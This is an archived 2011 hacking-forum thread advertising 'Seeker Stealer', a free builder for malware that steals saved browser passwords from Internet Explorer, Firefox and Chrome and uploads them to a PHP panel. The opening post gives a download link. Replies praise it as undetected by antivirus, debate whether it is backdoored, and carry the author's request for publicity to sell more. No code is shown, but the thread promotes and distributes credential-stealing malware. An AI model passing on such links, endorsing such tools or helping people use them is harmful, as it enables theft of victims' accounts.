Thread: [\[Free\] Seeker Stealer Builder - Coded in C++ & PHP \[IE9, FF5, CHROME 12\]](#)

devil2005 - June 29, 2011, 9:26 am

Im Posting This For A Friend Juryben of:

<http://lastfrag.com>

[img]<http://lastfrag.com/pics/seekerstealergui.png>[/img]

DOWNLOAD:

<http://www.mediafire.com/?ac1u7ub15jm5bwb>

Seeker Stealer is coded in C++ and uploads logs via PHP in a parsable format.

Seeker Stealer recovery:

Internet Explorer 3-6

Internet Explorer 6-9 [HOT]

Firefox 1-3

Firefox 3.5 - 3.6

Firefox 4 - 5 [HOT]

Chrome 1 - 5

Chrome 6 - 12 [HOT]

Seeker Stealer is coded by JuryBen and he's now releasing it for free! You should thank him with Brazzers and Rapidshares.

haloxss - June 29, 2011, 9:49 am

post virusscan plzz

lol i need more than 25 charakters :P

PedroDJ - June 29, 2011, 9:51 am

Firefox 5 ? Chrome 5 ? Chrome 6 :D :D What are you saying !? :D

wia - June 29, 2011, 9:54 am

(Jun 29, 2011 09:51 AM)pedrodj78 Wrote: [\[CITE\]](#) Firefox 5 ? Chrome 5 ? Chrome 6 :D :D What are you saying !? :DHe means that Chrome 5 and Chrome 6 use a different way of storing the files. Same with Firefox 3, 3.5, and 4. They all use different methods which is why you never see stealers with them all. It's an amazing stealer.

PedroDJ - June 29, 2011, 9:59 am

Firefox 5 doesn't exist [only beta version]: Chrome 6 ?!?!? It exists ? In the info of my Chrome browser i read "12.0.742.112" nevermind, i'll NOT download this stealer, i think it's backdoored ;)

Ripped - June 30, 2011, 12:58 am
i tried it. looks good.

its working and FUD atm.
but dont know if its backdoored or not. i hope not^^

thx for share

The GRim - June 30, 2011, 12:59 am
I Would Like To See A Virus Scan.

Ripped - June 30, 2011, 1:11 am
here you have:

the built server: 0/34
<http://my-avscan.com/result.php?scan=ODY1MTc=>

the builder: 0/34
<http://my-avscan.com/result.php?scan=ODY1MzY=>

but this does not mean that its clean or not
could someone please check that? i dont know how.^^

syrenen11 - June 30, 2011, 1:28 am
The scans show it's clean apparently. More in depth analysis with Sandboxie or Anubis can show what the supposed file does when executed. Such as extra processes/connections/file drops.. etc

-Syrenen

Ripped - June 30, 2011, 1:53 am
i used sandboxie and it starts normal no drops etc - screenshot:
<http://imageshack.us/photo/my-images/535/sandboxiej.png/>

and one screenie from the php panel:
<http://imageshack.us/photo/my-images/96/panelrf.png/>

maybe someone could confirm that its not backdoored.

wia - June 30, 2011, 9:59 am
This copy is legit. The coder doesn't backdoor shit

JuryBen - July 1, 2011, 9:17 am
I'm the coder of this project, my application isn't backdoored. All I ask if you guys could give it more publicity so I can sell create and sell more. Post reviews and tutorials would be great ;)

Mountain Dew - July 1, 2011, 12:28 pm

Works really well no virus' to be found and hes a very trusted person, hundreds of people use his shell checker, i will be buying the full version soon

JuryBen - July 1, 2011, 12:59 pm

For those asking:

In order to run the builder you need msvcrt100.dll in the same folder as Seeker Stealer.

Get it from here:

<http://www.dll-files.com/dllindex/dll-files.shtml?msvcrt100>

The server does NOT require this .dll to run.

ltheonel - July 4, 2011, 2:01 pm

okay i tried this now its not working for me... in debugger just searching for chrome

jaysonr0 - July 6, 2011, 12:17 pm

any tutorials on how to use this? PM me, i dont know SHIT

norton security says this is a virus, and it fucking removed it 0.o

XxSnipeDownxX - August 27, 2011, 11:13 pm

I'm wondering... What exactly does this do?
